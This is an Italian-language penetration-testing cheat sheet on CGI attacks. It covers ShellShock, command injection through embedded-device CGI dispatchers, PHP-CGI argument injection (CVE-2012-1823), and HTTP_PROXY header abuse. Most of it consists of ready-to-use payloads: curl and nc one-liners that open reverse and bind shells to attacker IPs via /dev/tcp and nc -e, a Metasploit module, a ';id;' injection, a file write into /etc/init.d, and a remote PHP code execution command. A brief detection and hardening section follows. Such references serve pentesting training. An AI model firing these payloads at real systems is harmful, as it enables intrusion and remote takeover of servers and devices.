CGI Pentesting

Reading time: 6 minutes

Informazioni

The CGI scripts are perl scripts, quindi, se hai compromesso un server che può eseguire .cgi scripts puoi upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), change the extension da .pl a .cgi, dare i permessi di esecuzione (chmod +x) e accedere alla reverse shell dal web browser per eseguirla. Per testare le CGI vulns è consigliato usare nikto -C all (e tutti i plugin)

ShellShock

ShellShock è una vulnerabilità che colpisce la diffusamente usata shell a riga di comando Bash nei sistemi operativi basati su Unix. Mira alla capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle variabili d'ambiente, che sono valori dinamici nominati che influenzano come i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttare questo allegando codice maligno alle variabili d'ambiente, che viene eseguito al momento della ricezione della variabile. Questo permette agli attaccanti di potenzialmente compromettere il sistema.

Sfruttando questa vulnerabilità la pagina potrebbe restituire un errore.

Puoi trovare questa vulnerabilità notando che sta usando una vecchia versione di Apache e cgi_mod (con la cartella cgi) oppure usando nikto.

Test

La maggior parte dei test si basa sul fare echo di qualcosa e sull'aspettarsi che quella stringa venga restituita nella risposta web. Se pensi che una pagina possa essere vulnerabile, cerca tutte le pagine cgi e testale.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind and out-of-band)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Dispatcher CGI centralizzati (instradamento a singolo endpoint tramite parametri selector)

Molte UI web embedded multiplexano decine di azioni privilegiate dietro un singolo endpoint CGI (per esempio, /cgi-bin/cstecgi.cgi) e usano un parametro selector come topicurl=<handler> per instradare la richiesta verso una funzione interna.

Metodologia per sfruttare questi dispatcher:

• Enumerare i nomi dei handler: scrape JS/HTML, brute-force con wordlists, oppure unpack del firmware e grep per handler strings usate dal dispatcher.
• Testare la raggiungibilità senza autenticazione: alcuni handler dimenticano i controlli di auth e sono chiamabili direttamente.
• Concentrarsi su handler che invocano system utilities o che toccano file; i validator deboli spesso bloccano solo pochi caratteri e potrebbero non intercettare il leading hyphen -.

Forme generiche di exploit:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

Rilevamento e hardening:

• Monitorare richieste non autenticate agli endpoint CGI centralizzati con topicurl impostato su handler sensibili.
• Segnalare i parametri che iniziano con - (argv option injection attempts).
• Fornitori: imporre l'autenticazione su tutti gli handler che modificano lo stato, convalidare usando allowlists/types/lengths rigorose, e non passare mai stringhe controllate dall'utente come command-line flags.

PHP obsoleto + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Fondamentalmente, se cgi è attivo e php è "vecchio" (<5.3.12 / < 5.4.2) è possibile eseguire codice. Per sfruttare questa vulnerabilità è necessario accedere a un file PHP del web server senza inviare parametri (in particolare senza inviare il carattere "="). Poi, per testare la vulnerabilità, si può accedere ad esempio a /index.php?-s (nota il -s) e il source code of the application will appear in the response.

Quindi, per ottenere RCE è possibile inviare questa query speciale: /?-d allow_url_include=1 -d auto_prepend_file=php://input e mettere il PHP code da eseguire nel body of the request. Example:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Maggiori informazioni sul vuln e possibili exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM to Web server requests)

CGI crea una variabile d'ambiente per ogni header nella richiesta http. Per esempio: "host:web.com" viene creato come "HTTP_HOST"="web.com"

Poiché la variabile HTTP_PROXY potrebbe essere utilizzata dal web server, prova a inviare un header contenente: "Proxy: <IP_attacker>:<PORT>" e se il server effettua qualsiasi richiesta durante la sessione potrai catturare ogni richiesta fatta dal server.

Riferimenti

• Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered